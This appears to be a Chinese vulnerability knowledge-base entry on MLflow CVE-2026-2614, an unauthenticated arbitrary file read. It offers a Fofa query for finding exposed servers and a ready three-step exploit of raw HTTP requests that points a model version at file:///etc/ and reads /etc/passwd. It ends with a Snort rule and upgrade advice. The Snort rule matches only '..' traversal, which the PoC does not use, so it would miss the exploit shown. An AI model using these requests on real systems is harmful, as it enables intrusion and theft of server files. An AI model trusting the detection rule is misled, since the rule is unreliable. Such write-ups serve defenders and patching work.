MLflow-CVE-2026-2614-任意文件读取¶

MLflow允许未认证攻击者读取服务器任意文件。

影响版本¶

MLflow 3.9.0 及更早版本

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

Fofa: title="MLflow"

POC/EXP：

step1 写入name

POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
X-Forwarded-For: 8.8.8.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

{"name":"abcdefghi"}

step2 创建source路径

POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
X-Forwarded-For: 8.8.8.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

{"name":"abcdefghi","source":"file:///etc/","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]}

step3 执行文件读取

GET /model-versions/get-artifact?name=abcdefghi&version=1&path=passwd HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
X-Forwarded-For: 8.8.8.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Upgrade-Insecure-Requests: 1

‍

sonrt规则：

alert tcp any any -> $HOME_NET any (
    msg:"MLflow CVE-2026-2614 - Arbitrary File Read via get-artifact (Path Traversal)";
    flow:to_server,established;
    http.method; content:"GET";
    http.uri; content:"/model-versions/get-artifact"; fast_pattern;
    http.uri; pcre:"/path=[^&]*\.\.(\/|%2f|%5c)/i";
    metadata:
        service http,
        affected_product "MLflow",
        vulnerability_type "Path Traversal Arbitrary File Read",
        severity "high";
    classtype:web-application-attack;
    sid:1000727;
    rev:1;
    priority:1;
)

漏洞修复¶

升级版本：将 MLflow 升级至 3.10.0 或更高版本。
临时缓解：若无法立即升级，可限制网络访问、加强 CreateModelVersion 端点认证，或移除 mlflow.prompt.is_prompt 标签。

‍